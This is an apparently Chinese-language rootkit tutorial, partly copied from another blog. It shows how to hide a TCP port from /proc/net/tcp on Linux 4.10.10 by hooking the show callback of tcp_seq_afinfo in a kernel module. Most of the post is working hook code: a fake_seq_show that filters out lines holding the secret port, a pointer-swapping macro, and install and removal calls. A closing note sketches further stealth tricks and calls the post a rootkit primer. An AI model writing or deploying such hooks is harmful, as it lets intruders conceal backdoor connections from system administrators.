注:后面实验参考的是4.10.10的源码
实验过程
隐藏端口
用户态下隐藏端口信息,就是把/proc/
下端口相关信息过滤掉。具体来说,看下面一张表格:
可以看一下net/ipv4/tcp.c
和net/ipv4/tcp_ipv4.c
的开头注释,列举了TCP/IP协议栈的开发者们。
下面我们以表格第一行的IPv4
版本TCP
为例,做端口隐藏实验。
首先看一下cat /proc/net/tcp
:
我们再看一下tcp4_seq_show
:
// net/ipv4/tcp_ipv4.c
#define TMPSZ 150
static int tcp4_seq_show(struct seq_file *seq, void *v)
{
struct tcp_iter_state *st;
struct sock *sk = v;
seq_setwidth(seq, TMPSZ - 1);
if (v == SEQ_START_TOKEN) {
seq_puts(seq, " sl local_address rem_address st tx_queue "
"rx_queue tr tm->when retrnsmt uid timeout "
"inode");
goto out;
}
st = seq->private;
if (sk->sk_state == TCP_TIME_WAIT)
get_timewait4_sock(v, seq, st->num);
else if (sk->sk_state == TCP_NEW_SYN_RECV)
get_openreq4(v, seq, st->num);
else
get_tcp4_sock(v, seq, st->num);
out:
seq_pad(seq, '\n');
return 0;
}
// fs/seq_file.c
void seq_puts(struct seq_file *m, const char *s)
{
int len = strlen(s);
if (m->count + len >= m->size) {
seq_set_overflow(m);
return;
}
memcpy(m->buf + m->count, s, len);
m->count += len;
}
可以看到,这个函数正是用来向用户层/proc
暴露网络信息的接口,它的意义也很好理解——每次写一行。我们再跟进看一下seq_file
:
// include/linux/seq_file.h
struct seq_file {
char *buf; // 缓冲区
size_t size; // 缓冲区容量
size_t from;
size_t count; // 缓冲区已经使用的量
size_t pad_until;
loff_t index;
loff_t read_pos;
u64 version;
struct mutex lock;
const struct seq_operations *op;
int poll_event;
const struct file *file;
void *private;
};
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
是不是和之前见过的file_operations
很像!!!内核看来是有迹可循的!
tcp4_seq_show
就是seq_operations
中的show
函数。
老套路,我们钩掉它,就 OK。开始工作!
首先看一下假的show
:
#define NEEDLE_LEN 6
#define SECRET_PORT 10000
#define TMPSZ
int (*real_seq_show)(struct seq_file *seq, void *v);
int fake_seq_show(struct seq_file *seq, void *v)
{
int ret;
char needle[NEEDLE_LEN];
snprintf(needle, NEEDLE_LEN, ":%04X", SECRET_PORT);
ret = real_seq_show(seq, v);
if(strnstr(seq->buf + seq->count - TMPSZ, needle, TMPSZ)){
printk("Hiding port %d using needle %s.\n", \
SECRET_PORT, needle);
seq->count -= TMPSZ;
}
return ret;
}
思路是,先调用真的show
向seq
中写入一条记录,然后检查写入的内容中是否有:10000
这个字符串,如果有,就把seq->count
这个记录缓冲区已经使用的字节数减去一条记录的长度TMPSZ
相当于之前写入的无效了;如果没有,就正常放行。
下面是用来钩函数的宏:
#define set_afinfo_seq_op(op, path, afinfo_struct, new, old) \
do{ \
struct file *filp; \
afinfo_struct *afinfo; \
filp = filp_open(path, O_RDONLY, 0); \
if(IS_ERR(filp)){ \
printk("Failed to open %s with error %ld.\n", \
path, PTR_ERR(filp)); \
old = NULL; \
} \
else{ \
afinfo = PDE_DATA(filp->f_path.dentry->d_inode); \
old = afinfo->seq_ops.op; \
printk("Setting seq_op->" #op " from %p to %p.", \
old, new); \
afinfo->seq_ops.op = new; \
filp_close(filp, 0); \
} \
}while(0)
这个“钩宏”和之前在隐藏文件实验一节中的宏很类似。Linux 中“一切皆文件”,所以先定义两个指针:
// 隐藏端口实验
struct file *filp;
afinfo_struct *afinfo;
// 隐藏文件实验
struct file *filp;
struct file_operations *f_op;
然后打开文件:
// 隐藏端口实验
// 隐藏文件实验
filp = filp_open(path, O_RDONLY, 0);
然后用另一个指针从file
结构体中获得取得文件处理函数结构体,这里有一些差异,因为之前是普通文件,这里是tcp_seq_afinfo
,也就是流文件:
// 隐藏端口实验
afinfo = PDE_DATA(filp->f_path.dentry->d_inode)
// 隐藏文件实验
f_op = (struct file_operations *)filp->f_op;
这里的PDE_DATA
是从inode
节点获取对应数据的函数。
之后就是重点,替换:
// 隐藏端口实验
old = afinfo->seq_ops.op;
afinfo->seq_ops.op = new;
// 隐藏文件实验
old = f_op->op;
disable_write_protection();
f_op->op = new;
enable_write_protection();
上面开关写保护是 novice 师傅加的,可能是需要吧。有兴趣的可以自己去掉那两行试试行不行。
最后就是关闭文件了。这么看来,也很好理解。以后要写别的钩子,我们可以参照这个思路来。先找到相关结构体,包括回调函数的,然后打开文件,替换,关闭文件。
最后在入口出口函数中添加调用代码:
#define NET_ENTRY "/proc/net/tcp"
# define SEQ_AFINFO_STRUCT struct tcp_seq_afinfo
// in init
set_afinfo_seq_op(show, NET_ENTRY, SEQ_AFINFO_STRUCT, fake_seq_show, real_seq_show);
// in exit
if(real_seq_show){
void *dummy;
set_afinfo_seq_op(show, NET_ENTRY, SEQ_AFINFO_STRUCT, real_seq_show, dummy);
}
实验问题
【问题一】
本实验中,端口号也是写死在代码里的。当然,端口号写死的影响不是很大,我们可以预设一些要使用的端口,让它们被过滤掉。但是,考虑改进这一设计,能否在运行时动态选择要隐藏的端口?
实验总结与思考
- 从内核源码中看到的
seq_file
让我学会了一种用 C 表达面向对象的编程技巧(这代码,太美了)
struct seq_file {
...
const struct seq_operations *op;
...
};
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
以上都是我复制过来的写的还算可以的(https://blog.wohin.me/posts/linux-rootkit-02-04/)
1.本实验中,端口号也是写死在代码里的。当然,端口号写死的影响不是很大,我们可以预设一些要使用的端口,让它们被过滤掉。但是,考虑改进这一设计,能否在运行时动态选择要隐藏的端口?
我采取了新的方式,采取kill信号来传递进程号,再hook listen 和connect的内核函数,使用内核链表将连接信息和进程号进行关联,这样做的好处就是进程相关的均能进行隐藏,不会隐藏其他也使用该端口的连接信息,当然你也可以使用其他方式,比如netlink,ioctl,/proc/下注册读写等
2.该贴发方式对于linux版本不是很适配,采取sys_call_table.kprobe,等方式可实现2.6.32以上的内核均可。
我只提供思路方法,具体的实现未体现,如果感兴趣的多,后续考虑写一个详细的文档,此贴仅用于rootkit入门,有问题和想法可联系我